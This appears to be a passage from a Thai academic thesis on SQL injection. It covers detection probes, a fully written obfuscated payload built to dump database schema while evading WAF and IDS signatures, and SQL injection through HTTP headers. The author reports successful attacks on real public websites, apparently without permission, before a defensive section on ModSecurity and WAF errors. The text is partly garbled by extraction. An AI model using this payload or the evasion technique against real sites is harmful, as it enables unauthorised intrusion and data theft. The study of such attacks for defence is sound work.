เปล่ียนแปลงท่ีเกิดข้ึนเปรียบเทียบ บางระบบรักษาความปลอดภยันั้นก็ยอมท่ีจะใหใ้ชค้  าสั่งอยา่ง OR 
หรือ AND ได ้แต่เม่ือใช้ค  าสั่งอยา่ง UNION SELECT ก็จะท าการ Drop Packet หรือ Reset Session 
นั้นทิ้งทนัที 
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ซ่ึงระบบรักษาความปลอดภยัส่วนใหญ่นั้นจะใช้วิธีการตรวจจบัแบบ Signature Based เป็นหลัก 
แต่ก็อาจจะมีบางระบบท่ีใช้วิธีการตรวจจบัแบบ Anomaly Based ซ่ึงในการทดสอบระบบรักษา
ความปลอดภัยกับเว็บแอพพลิเคชั่นท่ีมีช่องโหว่ประเภท SQL Injection นั้น จึงมีความจ าเป็นท่ี
จะตอ้งหารูปแบบในการเจาะระบบท่ีตอ้งสามารถหลบหลีกการตรวจจบัหรือป้องกนัจากอุปกรณ์
รักษาความปลอดภยัต่างๆ นั้นให้ได ้อีกทั้งตอ้งแยกแยะชนิดของช่องโหว่ประเภทน้ีให้ได้ว่าเป็น 
Integer หรือ String 
 3.3.1  ช่องโหว ่SQL Injection ชนิดท่ีเป็น Integer 
 การตรวจสอบว่าเว็บแอพพลิเคชั่นมีช่องโหว่ SQL Injection ชนิดท่ีเป็น Integer นั้ น
สามารถท่ีจะทดสอบได้ด้วยการใช้ Operators ท่ีมีผลในด้านการค านวณทางคณิตศาสตร์ อาทิเช่น 
http://www.site.com?page.php?id=2 ก็ลองใส่ค่าเป็น http://www.site.com?page.php?id=2-1 เป็นตน้ 
 

 
 

ภาพที ่3.4  ตวัอยา่งเวบ็ไซตมี์ช่องโหว ่SQL Injection ชนิดท่ีเป็น Integer (1) 
  

  และในกรณีท่ีหน้าเวบ็แอพพลิเคชัน่เกิดมีการเปล่ียนแปลงท่ีตอบสนองกลบัมานั้นมีค่า
ตรงกันกับ http://www.site.com?page.php?id=1 ก็แสดงว่าเว็บแอพพลิเคชั่นนั้นน่าจะมีช่องโหว ่
SQL Injection 
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ภาพที ่3.5  ตวัอยา่งเวบ็ไซตมี์ช่องโหว ่SQL Injection ชนิดท่ีเป็น Integer (2) 
  

 3.3.2  ช่องโหว ่SQL Injection ชนิดท่ีเป็น String 
 การตรวจสอบว่าเว็บแอพพลิเคชั่นมีช่องโหว่ SQL Injection ชนิดท่ีเป็น String นั้ น
สามารถท่ีจะทดสอบได้ด้วยการใช้เคร่ืองหมาย ‘(Single Quote) หรือ “(Double Quote) แทรก
ต่อทา้ยพารามิเตอร์เขา้ไปเพื่อตรวจสอบผลลพัธ์ในประโยคของ SQL ท่ีจะแสดงผลตอบกลบัมา ซ่ึง
ช่องโหวใ่นลกัษณะน้ีจะตอ้งพยายามหารูปแบบท่ีจะใชใ้นการปิดประโยคของ SQL นั้นให้ได ้อาทิ
เช่น  http://www.site.com?page.php?id=2 ก็ ลองใส่ค่ า เป็น  http://www.site.com?page.php?id=2’ 
เป็นตน้ 
 



63 

 
 
ภาพที ่3.6 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ชนิดท่ีเป็น String (1) 
  

 และในกรณีที่หน้าเวบ็แอพพลิเคชัน่เกิดมีการเปลี่ยนแปลงที่ตอบสนองกลบัมานั้น 
ไม่ว่าจะเป็นการแสดงขอ้ความผิดพลาดที่บ่งบอกค าสั่งของ SQL หรืออาจจะเป็นในลกัษณะท่ี
เวบ็แอพพลิเคชัน่นั้นเปลี่ยนหน้าไปก็ตามนั้น ก็ให้ทดสอบใส่ค่า Comment ที ่ใช ้ส าหรับปิด
ประโยคอย่างเช่นเคร่ืองหมาย  # หรือ -- - หรืออาจจะใช้ Operators อย่าง AND แลว้ใช้เง่ือนไขท่ี
เป็นจริงหรือเป็นเท ็จลงไป อาทิเช่น http://www.site.com?page.php?id=2’+and+’x’=’x และ 
http://www.site.com?page.php?id=2’+and+’x’=’y   
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ภาพที ่3.7  ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ชนิดท่ีเป็น String (2) 
  
3.4  ออกแบบการหลบหลกีจากการตรวจจับของระบบรักษาความปลอดภัย 
 ผูว้จิยัไดท้  าการวิเคราะห์ความสามารถในการตรวจจบัและป้องกนัภยัคุกคามท่ีเก่ียวขอ้ง
กับระบบเว็บแอพพลิเคชั่นของอุปกรณ์รักษาความปลอดภัยแต่ละประเภทแล้วพบว่า อุปกรณ์ 
Packet Filtering Firewall, Stateful Inspection Firewall นั้นไม่มีความสามารถในการตรวจจบัและ
ป้องกันการโจมตีเว็บแอพพลิเคชั่น แต่ในส่วนของอุปกรณ์ IDS/IPS, Application Proxy และ 
Hybrid Firewall ในบางระบบนั้ นก็ มีความสามารถท่ีจะตรวจจับและป้องกันการโจมตีเว็บ
แอพพลิเคชัน่ดว้ยเทคนิค SQL Injection ไดบ้า้ง 
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ภาพที ่3.8  การหลบหลีกจากการตรวจจบัของระบบรักษาความปลอดภยั 
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 ในส่วนน้ีผูว้ิจยัไดท้  าการวิเคราะห์กระบวนการร้องขอและตอบสนองในกระบวนการ
ท างานของ HTTP Protocol โดยสรุปพอสังเขปเพื่อน าเอาไปใชใ้นกระบวนการออกแบบเจาะระบบ
เวบ็แอพพลิเคชัน่ไดด้งัน้ี 
 

 
 

ภาพที ่3.9  กระบวนการร้องขอและตอบสนอง 
 

 HTTP Request ในการเจาะระบบเวบ็แอพพลิเคชัน่นั้นถูกกระท าผ่าน HTTP Method 
เป็นหลกัส าคญั ซ่ึง Payload ต่างๆ ท่ีเป็นรูปแบบของการโจมตีนั้น ระบบป้องกนัต่างๆ จะท าการ
ตรวจสอบผ่านการร้องขอในลักษณะน้ีเป็นหลักอยู่แล้ว แต่ก็มีบางองค์กรหรือหน่วยงานนั้นได ้
ท าการออกแบบระบบการตรวจจบัและป้องกนัในส่วนน้ีโดยเลือกท่ีจะใช้งาน Reverse Proxy ซ่ึง
ความสามารถส่วนใหญ่ท่ี Reverse Proxy ท าไดน้ั้นก็คือเขียน Regular Expression การร้องขอท่ีผา่น 
HTTP Method แต่ในส่วน HTTP Header นั้นจะท าการละทิ้งและปล่อยผา่นไป 
 HTTP Response การอาศยัประโยชน์เพื่อการเจาะระบบเวบ็แอพพลิเคชัน่ในส่วนน้ีนั้น
ส่วนใหญ่จะดูท่ี HTTP Status Code ว่ามีการตอบสนองได้ค่าอะไรตอบกลบัมาแต่ในส่วน HTTP 
Header นั้นก็จะดูเร่ืองขอ้มูลท่ีเอาไวใ้ชป้ระกอบกนัในการเจาะระบบเวบ็ไซต ์
 
3.5  การโจมตีผ่าน HTTP Header 
 จากการวเิคราะห์กระบวนการร้องขอและตอบสนองในกระบวนการท างานของ HTTP 
Protocol นั้นพบวา่ระบบรักษาความปลอดภยัคอมพิวเตอร์ในบางระบบนั้น น่าจะมีความหละหลวม
ในการตรวจจบัและป้องกนัในส่วนของวิธีการท่ีจะอาศยัการซ่อน Payload ของ SQL Injection นั้น
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ผ่านทาง Header ของ HTTP แทน ซ่ึงระบบรักษาความปลอดภัยคอมพิวเตอร์ทั่วๆ ไปนั้ นจะมี 
Signature ในการตรวจจบัท่ีจะมองไปท่ีการเรียกใช้งานจากฝ่ังคอมพิวเตอร์ไคลเอนต์ผ่านทาง 
HTTP Method อย่าง HEAD, GET หรือ POST เป็นหลักดังนั้ นจึงส่งผลท าให้ Payload ของ SQL 
Injection ท่ีถูกแทรกมาผา่น HTTP Header นั้นไม่ถูกตรวจพบ 
 

                

            

                    

                  
                      

                     
IDS/IPS

Next Generation Firewall
Web Application Firewall

                                                  
1.                                                                                                      
                
2.                                                     
                          
3.                                                                                            
                

                                         
1.                                                   HTTP     HTTPS Protocol
2.                                                                      
(                                )                    (machine language) 
                            
3.                                                                                          

 
ภาพที ่3.10 การออกแบบล าดบัขั้นตอนการเจาะระบบ 
  
 แต่วิธีการโจมตีในลกัษณะดงักล่าวน้ีจะเกิดผลท่ีเป็นจริงไดก้็ต่อเม่ือเวบ็แอพพลิเคชั่น 
ท่ีมีช่องโหว่แบบ SQL Injection นั้นไม่มีการป้องกนัการรับค่าอินพุตผ่านทาง HTTP Header ดว้ย
เช่นกนั ดงันั้นผูว้ิจยัจึงมีแนวคิดท่ีจะท าให้ Payload ของ SQL Injection ท่ีจะใช้ทดสอบเจาะระบบ
นั้นมีประสิทธิภาพในการดึงขอ้มูลท่ีส าคญัๆ ออกมาไดโ้ดยท่ีจะพยายามไม่กระท าการส่งการร้อง
ขอแบบถ่ีๆ อีกทั้ งยงัต้องเพิ่มความซับซ้อนเข้าไปใน Payload ของ SQL Injection เพื่อให้ระบบ
รักษาความปลอดภยัคอมพิวเตอร์นั้นละเลยกบัการกระท าดงักล่าว 
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 ผูว้ิจยัได้ท าการประยุกต์ปรับปรุง Payload ของ SQL Injection ท่ีจะใช้ในการทดสอบ
เจาะระบบนั้นให้มีประสิทธิภาพในการดึงขอ้มูลออกมาจากฐานขอ้มูล โดยท่ีมุ่งเน้นไปท่ีจะตอ้ง 
ไม่ส่งการร้องขอไปยงัเคร่ืองเป้าหมายท่ีทดสอบในจ านวนหลายๆ คร้ัง อันเน่ืองจากต้องการ 
หลบเล่ียงการตรวจพบพฤติกรรมการบุกรุกในการวิเคราะห์ขอ้มูลจากบนัทึกขอ้มูลในการเขา้ใชง้าน
ของระบบนั้นๆ ได ้
 
http://www.site.com/page.php?id=-

234+and@:=(select(@)from(select(@:=0b00000000),(select(0)from(`inform

ation_schema`.columns)where(`table_schema`!=0b01101001011011100110011

001101111011100100110110101100001011101000110100101101111011011100101

1111011100110110001101101000011001010110110101100001)and(0b00000000)i

n(@:=`concat`(@,0b00111100011000100111001000111110 

,`table_schema`,0b001000000011101000100000,aes_decrypt(aes_encrypt((`

table_name`),1),1),0b001000000011101000100000,aes_decrypt(aes_encrypt

((`column_name`),1),1)))))x)+union+select+(\N), (\N),@, (\N), (\N), 

(\N), (\N), (\N), (\N) ) 

 
ภาพที ่3.11  ตวัอยา่งรูปแบบค าสั่ง Payload ของ SQL Injection แบบประยกุต ์
  

 จากภาพดา้นบนนั้นสามารถอธิบายลกัษณะของกระบวนการท างาน Payload ของ SQL 
Injection ในชุดน้ี คือ ไดท้  าการประกาศตวัแปรเอาไวก่้อนหนา้ท่ีจะท าการเรียกใชง้าน โดยตวัแปรท่ี
ไดป้ระกาศเอาไวน้ั้นเป็นการเรียกอ่านขอ้มูลท่ีเป็น ช่ือฐานขอ้มูล ช่ือตารางขอ้มูล รวมถึงช่ือคอลมัน์
ขอ้มูล ในการส่งการร้องขอเพียงคร้ังเดียว จากนั้นก็ไดน้ าตวัแปรท่ีไดป้ระกาศเอาไวก่้อนหนา้น้ีระบุ
เขา้ไปในต าแหน่งของคอลมัน์ท่ีสามารถแสดงผลลพัธ์นั้นๆ ออกมาทางหนา้เวบ็แอพพลิเคชัน่นั้นๆ 
ได ้
 ซ่ึงในการท างานตรวจสอบการท างานของระบบรักษาความปลอดภยัในบางระบบนั้น
จะอนุญาตให้ลกัษณะดงักล่าวสามารถใช้งานได ้อนัเน่ืองมาจากระบบมองวา่รูปแบบค าสั่ง union 
select (\N), @, (\N) นั้น เคร่ืองหมาย @ ไม่ใช่ค าสั่งในภาษา SQL และไม่น่าท่ีจะท างานได ้
 
3.6  ทดสอบเจาะระบบเวบ็ไซต์ด้วยเทคนิค SQL Injection ผ่าน HTTP Header 
 ผูว้ิจยัได้ท าการสุ่มทดสอบเจาะระบบเวบ็ไซต์ด้วยเทคนิค SQL Injection ผ่าน HTTP 
Header ซ่ึงใชข้ั้นตอนในการทดสอบดงัต่อไปน้ี 
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ภาพที ่3.12  หนา้เวบ็ไซตท่ี์ใชท้ดสอบ 
  
 ผูว้ิจยัพบวา่ในเวบ็ไซตด์งักล่าวน้ีมีช่องโหว ่SQL Injection แต่ในการส่งการร้องขอผา่น 
HTTP Method แบบ GET ก็ตามท่ีมีค าสั่งของ SQL แล้วจ าเป็นต้องเรียกใช้งานตัวอักขระอย่าง
เคร่ืองหมาย () เช่น การใช้งานค าสั่งอย่างเช่น version(), user() หรือ database() ก็ตามนั้ น  เว็บ
แอพพลิเคชัน่น้ีจะแสดงขอ้ความตอบกลบัมาทนัทีว่า “The html tags you attempted to use are not 
allowed”  
 จากนั้นผูว้จิยัไดท้  าการสร้างสันนิฐานในการทดสอบวา่ หากเปล่ียนแปลงขอ้มูลในส่วน
พารามิเตอร์ท่ีใชใ้นการร้องขอผา่น HTTP Method นั้น โดยให้พารามิเตอร์ท่ีใช้ในการร้องขออยูใ่น 
HTTP Header แทนซ่ึงผลลพัธ์ท่ีไดน้ั้น ผูว้ิจยัสามารถท่ีจะส่งการร้องขอเรียกใชง้านในรูปแบบของ
โจมตีดว้ย SQL Injection ผา่น HTTP Header ในคร้ังเดียวแลว้ไดข้อ้มูลท่ีอยูใ่นฐานขอ้มูลออกมา 
  
 
 
 
 
 
 



70 

ท าการตรวจสอบหาช่องโหว ่SQL Injection ผา่นทาง HTTP Header 
 

 
 
ภาพที ่3.13  ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (1) 
  

ท าการแทรกค าสั่ง SQL ท่ีแสดงเวอร์ชัน่ฐานขอ้มูล, ช่ือผูใ้ชง้านฐานขอ้มูล ผา่นทาง HTTP Header 
 

 
 

ภาพที ่3.14 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (2) 
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ท าการแทรกค าสั่ง SQL ท่ีดึงขอ้มูลต่างๆ ผา่นทาง HTTP Header 
 

 
 

ภาพที ่3.15 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (3) 
 

 ซ่ึงผูว้ิจยัยงัพบว่าเว็บไซต์อีกเป็นจ านวนไม่น้อยท่ีสามารถเข้าถึงได้โดยผ่านระบบ
อินเตอร์เน็ต และมีสามารถถูกเจาะระบบดว้ยเทคนิคดงักล่าวน้ีได ้
 

 
 

ภาพที ่3.16 ตวัอยา่งหนา้เวบ็ไซตอ่ื์นท่ีมีช่องโหว ่
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ผูว้จิยัคน้พบช่องโหวแ่ละท าการทดสอบเจาะระบบดว้ยเทคนิคดงักล่าวและไดผ้ลส าเร็จเช่นกนั 
 

 
 

ภาพที ่3.17 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (1) 
 
ท าการแทรกค าสั่ง SQL ท่ีดึงขอ้มูลต่างๆ ผา่นทาง HTTP Header 
 

 
 

ภาพที ่3.18  ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (2) 
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 อุปกรณ์รักษาความปลอดภยัอยา่ง IDS/IPS, Firewall (Stateful Inspection Firewall หรือ 
Next Generation Firewall) นั้นส่วนจะไม่มีความสามารถท่ีดีเพียงพอท่ีจะตรวจจบัหรือป้องกนัการ
โจมตีด้านเว็บแอพพลิเคชั่น ระบบรักษาความปลอดภัยด้านเว็บแอพพลิเคชั่นอย่าง “Web 
Application Firewall” หรือท่ีเรียกย่อๆ ว่า WAF นั้ นถูกออกแบบมาให้ท าหน้าท่ีตรวจจับและ
ป้องกนัการโจมตีในดา้นน้ีโดยเฉพาะ 
 

 
 

ภาพที ่3.19  รูปแบบการท างานของ Web Application Firewall 
  
 กลบักนัในทางปฏิบติันั้น Web Application Firewall เองก็เป็นตวัท่ีสร้างปัญหาท่ีจะท า
ใหเ้วบ็แอพพลิเคชัน่บางส่วนไม่สามารถใชง้านได ้ดว้ยเหตุท่ีวา่การก าหนดค่าคอนฟิกบางประเภทท่ี
เป็นส่ิงท่ีถูกตอ้งในการใช้งานนั้น Web Application Firewall กลับตรวจสอบว่าเป็นส่ิงท่ีไม่ปกติ
ส าหรับการใชง้าน และวธีิการแกไ้ขส่วนใหญ่ก็ท าไดด้ว้ยการปิดส่วนการท างานนั้นๆ ออกไป 
 ท่ีได้กล่าวไวข้้างต้นนั้นจะเห็นได้ว่าในการใช้งาน Web Application Firewall เองนั้น
จะตอ้งคอยหมัน่ตรวจสอบแกไ้ขปรับปรุงคอนฟิกของระบบให้สอดคลอ้งกบัการใชง้านท่ีถูกตอ้ง
และเป็นจริงให้มากท่ีสุดกบัเวบ็แอพพลิเคชัน่นั้นๆ และหากยิ่งมีการพฒันาเวบ็แอพพลิเคชัน่ท่ีไม่ดี
พอหรือมีความสลบัซับซ้อนเวลาท่ีมีการเรียกใช้งานดว้ยแลว้นั้น ก็จะส่งผลให้ค่าคอนฟิกท่ีดีของ 
Web Application Firewall ลดลงตามไปดว้ย 
  



บทที ่4 
ผลการศึกษา 

 
4.1  บทน า 
 ผู้วิจัยได้ศึกษาเทคนิคการเจาะระบบและป้องกัน SQL Injection ซึ่งในงานวิจัยนั้น
มุ่งเน้นไปเชิงการป้องกัน SQL Injection โดยที่จะเน้นการป้องกันในส่วนของระบบโครงสร้างที่
ให้บริการพื้นฐาน (Infrastructure) เป็นส าคัญ ทั้งนี้นั้นมุ่งหวังให้ผู้ที่ต้องให้บริการระบบคอมพิวเตอร์ 
เครือข่ายต่างๆ นั้น เกิดความปลอดภัยกับระบบคอมพิวเตอร์เพิ่มมากขึ้น 
 จากการทดลองในงานวิจัยที่ได้ท าการศึกษาในบทที่ 3 นั้นพบว่าเว็บไซต์ขององค์กร
หรือหน่วยงานต่างๆ ที่ได้ท าการทดสอบเจาะระบบเว็บไซต์นั้น มีเว็บไซต์จ านวนไม่น้อยที่ มี 
ช่องโหว่ SQL Injection ซึ่งผู้วิจัยคาดการณ์ว่าผู้ที่มีหน้าที่ดูแลรับผิดชอบระบบเหล่านั้น อาจจะยัง  
ไม่ทราบถึงปัญหาหรือภัยคุกคามของระบบเหล่านั้น จึงยังท าให้เกิดข้อผิดพลาดอยู่ในระบบหรือ
อาจจะทราบแล้วแต่ยังไม่สามารถหาแนวทางแก้ไขหรือป้องกันระบบให้ลดความเสี่ย งจากภัย
คุกคามระบบคอมพิวเตอร์นั้นได้ 
 ยังมีแนวความคิดและความเข้าใจที่ไม่ถูกต้องนักส าหรับผู้บริหารขององค์กรหรือ
หน่วยงานต่างๆ เป็นจ านวนไม่น้อยที่ยังมีความเชื่อและเข้าใจว่าการมีอุปกรณ์รักษาความปลอดภัย
อย่าง IDS/IPS, Firewall พอเพียงที่จะรักษาความปลอดภัยทางระบบคอมพิวเตอร์นั้นได้ หรือในบาง
กรณีนั้นองค์กรหรือหน่วยงานต่างๆ อาจจะมีอุปกรณ์รักษาความปลอดภัยอย่าง Web Application 
Firewall แล้วก็ตามแต่การที่เว็บแอพพลิเคชั่นต่างๆ มีรูปแบบหลากหลายเวลาที่มีการร้องขอเรียกใช้
งาน หรือมีการปรับแก้ไขซอร์สโค้ดของเว็บแอพพลิเคชั่นนั้นอยู่เป็นประจ าโดยที่ไม่มีแนวทางการ
พัฒนาการเขียนซอร์สโค้ดที่มีความปลอดภัยด้วยแล้วนั้น ก็ท าให้การปรับแต่งค่าคอนฟิกการ
ป้องกันของอุปกรณ์ท างานได้ไม่ดีพอหรือบางสถานการณ์อาจจะท าให้ต้องเปลี่ยนโหมดการท างาน
แบบป้องกันของอุปกรณ์จาก Blocking Mode หรือเพียงแค่ Monitor Mode 
 ในส่วนเร่ืองการรักษาความปลอดภัยของระบบคอมพิวเตอร์นั้น ยังจ าเป็นที่จะต้องระมัดระวัง
และค านึงเสมอว่าไม่มีระบบใดๆ ที่ปลอดภัย 100% จากภัยคุกคามระบบคอมพิวเตอร์  ช่องโหว่ใน
รูปแบบใหม่ที่ยังไม่เคยมีใครค้นพบนั้น (Zero-day) ก็มีโอกาสที่จะเกิดขึ้นและยังน ามาซึ่งการสร้าง
ความเสียหายต่อระบบคอมพิวเตอร์ได้ตลอดเวลา เพียงแต่ว่าต้องมีมาตรการเตรียมพร้อมรับมือ 
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สิ่งต่างๆ เหล่านี้เอาไว้เพื่อที่เวลาเกิดปัญหาขึ้นมาในระบบนั้น จะได้สามารถท าการตรวจสอบและ
แก้ไขได้ทันท่วงทีซึ่งผู้วิจัยจะได้เสนอแนวทางที่ช่วยลดความเสี่ยงของระบบในล าดับถัดไป 

 
4.2  แนวทางการปรับปรุง Web Application และการรักษาความปลอดภัยบนเว็บไซต์ 
 ส่วนใหญ่ของการใช้งานเว็บที่ใช้ฐานข้อมูลในการสร้างค าสั่ง SQL (ค าสั่งในการใช้งาน
ฐานข้อมูล) บนพื้นฐานของข้อมูลของผู้ใช้ ซึ่งหมายความว่าถ้ากระบวนการสร้าง SQL ไม่มีการ
รักษาความปลอดภัย การจะถูกโจมตีและการจัดการฐานข้อมูลจะเป็นไปได้ ปัญหานี้จะเรียกว่า  
"SQL Injection vulnerability" และวิธีการโจมตีจากการใช้ประโยชน์จากช่องโหว่นี้ถูกเรียกว่า 
"SQL Injection attack" 
 

 
 

ภาพท่ี 4.1 แสดงรูปแบบของการใช้ SQL Injection 
 

 1. ภัยคุกคามที่เป็นไปได้ 
  ช่องโหว่นี้อาจท าให้มีอันตรายจากผู้โจมตี:  

- ดูข้อมูลที่ส าคัญเก็บไว้ในฐานข้อมูล 
  เช่น การเปิดเผยข้อมูลส่วนบุคคล 

- บิดเบือนและ / หรือลบข้อมูลที่เก็บไว้ในฐานข้อมูล 
  เช่น ความผิดพลาดของหน้าเว็บ, การเปลี่ยนรหัสผ่าน, การปิดระบบ 
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- การตรวจสอบการเข้าสู่ระบบแบบ Bypass 
  การด าเนินงานทั้งหมดที่ได้รับอนุญาตภายใต้สิทธิของการเข้าสู่ระบบบัญชีที่เป็นไป
ได้ 

- รันค าสั่งระบบปฏิบัติการโดยใช้วิธีการจัดเก็บ 
  เช่น ระบบ System hijacking การท าให้เป้าหมาย PC a bot (launching point) เพื่อ
โจมตีผู้อ่ืน 
 2. เว็บไซต์ที่ต้องการความสนใจเป็นพิเศษ 
  ไม่ว่าเว็บไซต์ชนิดไหนก็ตามที่มีอยู่หรือที่ก าลังท างาน มันเป็นเว็บไซต์ที่อาจจะตก
เป็นเหยื่อ ถ้าเว็บไซต์นั้นรัน web application ที่ท างานร่วมกันกับ databases หากเว็บไซต์ที่ใช้ฐาน 
ข้อมูลที่สามารถเก็บข้อมูลที่มีความเสี่ยงสูง เช่นข้อมูลส่วนบุคคล ที่ต้องใช้ความระมัดระวังมาก 
ก็เรียกได้ว่าเป็นเว็บที่ต้องการความสนใจเป็นพิเศษ 
 4.2.1  HTTP Header Injection 
 web application แบบไดนามิกจะก าหนดค่าในส่วนของ header fields เพื่อตอบสนอง 
HTTP บนพื้นฐานของค่าผ่านพารามิเตอร์ภายนอก ยกตัวอย่างเช่นการเปลี่ยนเส้นทาง HTTP จะ
ด าเนินการโดยการตั้งค่าการเปลี่ยนเส้นทางไปยัง URL ที่ระบุในพารามิเตอร์ไปยังต าแหน่งของ 
header fields หรือ web application อาจจะตั้งชื่อที่ป้อนในกระดานข่าวไปยัง Cookie header filed  
หากกระบวนการของการสร้างส่วนหัวของให้ตอบสนองต่อ HTTP ในการใช้งานเว็บดังกล่าวมี 
ช่องโหว่ที่ผู้โจมตีสามารถเพิ่ม header fields เพื่อจัดการเน้ือหาการตอบสนองและมี web application 
เพื่อสร้างการตอบสนองในหลายรูปแบบ ปัญหานี้จะเรียกว่า "HTTP Header Injection vulnerability" 
และวิธีการในการโจมตีจากการใช้ประโยชน์จากช่องโหว่นี้ถูกเรียกว่า "HTTP Header Injection 
attack" โดยเฉพาะอย่างยิ่งการโจมตีที่น าไปสู่การสร้างการตอบสนองต่อ web application ได้หลาย
คร้ังเรียกว่า "HTTP Response Splitting attack" 
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ภาพท่ี 4.2  แสดงรูปแบบ HTTP Header Injection 
 

 4.2.2  ป้องกันWeb  application ด้วย WAF 
 เพื่อความปลอดภัยของ web application เป็นสิ่งส าคัญเพื่อที่จะท าให้แน่ใจว่าจะไม่มี
ช่องโหว่ในสถานที่แรกและทันทีที่พบก็จะลบช่องโหว่นั้นๆ ในขณะที่การรักษาความปลอดภัย web 
application ของตัวเว็บเองก็จะท าการป้องกันเท่าที่เป็นไปได้ผู้ดูแลระบบสามารถเพิ่ม layer การ
รักษาความปลอดภัยเพิ่มขึ้นอีกขั้นเพื่อให้การด าเนินงานของการใช้ WAF (Web Application 
Firewall) ป้องกัน web application จากการโจมตีในโลกไซเบอร์ที่พยายามที่จะใช้ประโยชน์จาก
ช่องโหว่ของ web application 
 WAF เป็นซอฟต์แวร์รักษาความปลอดภัยหรือฮาร์ดแวร์ที่ตรวจสอบ HTTP traffic 
(รวมถึง HTTPS) ระหว่างเว็บไซต์และผู้ใช้ โดยการตัดออก แบบอัตโนมัติเหมือนการจราจรที่เป็น
อันตรายเช่นการโจมตีไซเบอร์ โดยใช้ WAF จะมีประโยชน์ดังต่อไปนี้: 
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 ป้องกันการใช้งาน web application จากการโจมตีในโลกไซเบอร์ที่พยายามที่จะใช้
ประโยชน์จากช่องโหว่ 
 ตรวจจับการโจมตีในโลกไซเบอร์ที่พยายามที่จะใช้ประโยชน์จากช่องโหว่ 
 ใช้ป้องกันจากหลาย web application จากการโจมตีทางไซเบอร์ 
 

 
 

ภาพท่ี 4.3  แสดงการป้องกันด้วย Web Application Firewall (WAF) 
 
 ทั้งนี้ขึ้นอยู่กับสถานะการพัฒนาและสถานการณ์การด าเนินงานของ web application 
ท าให้การใช้ของ WAF อาจจะมีประสิทธิภาพมากขึ้นกว่าที่ต้องเสียเวลาและเงินในการปรับเปลี่ยน 
web application 
 4.2.3  WAF filtering of HTTP traffic 
 WAF สามารถสแกน HTTP traffic ได้โดยอัตโนมัติ เหมือนการร้องขอผลตอบสนอง
ของระหว่างเว็บไซต์และผู้ใช้ตามกฎ WAF ที่สร้างโดยผู้ดูแลเว็บไซต์ ผ่านจากการสแกน WAF จะ
ตรวจสอบว่า traffic เป็นอันตราย (harmful) ต่อเว็บไซต์และผู้ใช้และตัวกรอง traffic หรือไม่ กฎ 
WAF มีการตั้งค่าที่จะจับบางสิ่ง เช่นตัวอักษรที่สามารถน ามาใช้โจมตีในโลกไซเบอร์ สามารถใช้
เป็นประโยชน์จากช่องโหว่ของ web application และช่องโหว่ของประเภทของพารามิเตอร์และค่า 
ที่ก าหนดไว้ใน web application specifications มาตรวจสอบได้ เมื่อสแกน HTTP packets เสร็จแล้ว
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จะถือว่าถูกต้อง (rightful) ที่ WAF ส่งต่อ HTTP packets ไปยังเว็บไซต์หรือผู้ใช้ หรือในทางตรงกัน
ข้ามเมื่อสแกน HTTP packets แล้วถือว่าเป็นอันตราย (harmful) การประมวลผล WAF ที่ก าหนดไว้
ล่วงหน้าเช่นแจ้งผู้ดูแลระบบและตัดการส่งผ่านโดยไม่ต้องส่ง HTTP packets ต่อก็จะท างานเพราะ 
WAF ได้กรองเจอ error ในบางคร้ังที่กรอง 
 

 
 

ภาพท่ี 4.4  แสดงลักษณะของ Positive and Negative Judgment 
 

 4.2.4  HTTP filtering errors 
 ทั้งนี้ขึ้นอยู่กับเนื้อหาของ HTTP packets บางคร้ังก็อาจเกิด error ขึ้นได้ อาจจะมี error 2 
ชนิด  คือ false positive และ false negative  
 False positive เป็นแพ็คเก็ต HTTP ที่ถูกต้องแต่ได้รับการตัดสินที่ผิดพลาดว่าเป็น
อันตราย ในท านองเดียวกัน false negative เป็นแพ็คเก็ต HTTP ที่เป็นอันตรายที่ได้รับการตัดสินว่า
ผิดพลาดที่ถูกต้องแล้ว 
 เมื่อใช้ WAF ผู้ดูแลเว็บไซต์ควรค านึงถึงความเป็นไปได้ของการกรองที่ผิดพลาด 
ที่สามารถเกิดขึ้นได้ ทั้ง false positive และ false negative 
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ภาพท่ี 4.5  แสดงลักษณะของ False Positive and False Negative 
 

4.3  ขั้นตอนโดยรวมของเทคนิคท่ีน าเสนอ 
 โดยการแก้ไขปัญหาช่องโหว่ดังกล่าวนั้น ผู้วิจัยได้เลือกท าการจ าลองระบบเว็บไซต์ของ
คณะวิศวกรรมศาสตร์ขึ้นมาทดสอบ และออกแบบให้มีช่องโหว่ SQL Injection และมีการป้องกันที่
ระดับเว็บเซิร์ฟเวอร์โดยท าการติดตั้งโปรแกรมที่ท าหน้าที่เป็น Web Application Firewall (WAF) ที่
มีชื่อว่า Mod Security เข้าไปในระบบและใช้ค่าคอนฟิกแบบที่ไม่รัดกุมมากนัก เพื่อให้เกิดความ
ยืดหยุ่นในการใช้งานและป้องกันเร่ืองความผิดพลาดที่ระบบมองพฤติกรรมการท างานปกติเป็นการ
ท างานที่ผิดปกต ิ
 

(IT SECURITY CENTER) [7] 
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ภาพท่ี 4.6 แสดงรูปแบบระบบรักษาความปลอดภัยที่น าเสนอ 
 
 ล าดับแรกผู้วิจัยได้ท าการเจาะระบบเว็บไซต์จ าลองก่อนที่จะมีการป้องกันว่าสามารถ
เจาะระบบนั้นได้จริง ถัดมาจึงท าการเปิดการใช้งานระบบ Web Application Firewall ขึ้นมาป้องกัน 
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ภาพท่ี 4.7  แสดงเว็บไซต์จ าลองที่ติดตั้ง Web Application Firewall 
 

 จากนั้นจึงได้ท าการทดลองเจาะระบบด้วยวิธีเดิมอีกคร้ัง  ซึ่งผลปรากฏว่า Web 
Application Firewall นั้นสามารถที่จะป้องกันการโจมตี SQL Injection ด้วย Payload เดิมได้ทั้งหมด 
อาทิเช่น สามารถป้องกันการใช้ค าสั่ง AND ได้ 

 

 
 

ภาพท่ี 4.8  แสดงการป้องกันค าสั่ง AND 
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สามารถป้องกันการใช้ค าสั่ง OR ได้ 
 

 
 

ภาพท่ี 4.9  แสดงการป้องกันค าสั่ง OR 
 

สามารถป้องกันการใช้ค าสั่ง ORDER BY ได้ 
 

 
 
